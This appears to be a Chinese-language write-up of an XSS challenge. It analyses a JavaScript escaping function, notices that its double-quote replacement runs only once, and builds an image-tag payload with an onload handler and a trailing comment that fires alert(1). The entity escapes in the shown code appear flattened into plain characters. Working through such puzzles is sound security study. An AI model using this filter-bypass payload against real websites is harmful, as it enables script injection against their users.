题目:
function escape(s) {
var text = s.replace(/</g, '<').replace('"', '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
我总结分析了一下,得到这个结果:
- 所有
<
替换成<
(全局) - 所有
"
替换成"
(单次) - 把输入的
url(http://***)
替换成<a href="url">url</a>
;(全局) - 把输入的形如
[[img|333]]
格式 替换成<img alt="333" src="img”>
格式。(全局)
可以发现双引号的替换是单次的,也就是说第二个双引号就能避过替换。这里我使用图片的 onload 属性来进行注入。
[[img|"" onload=alert(1)]]
失败!!
查了一下原因,发现是有一个双引号遗留…【不仔细!】
[[img|"" onload=alert(1)//]]
注释掉就可以啦!
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于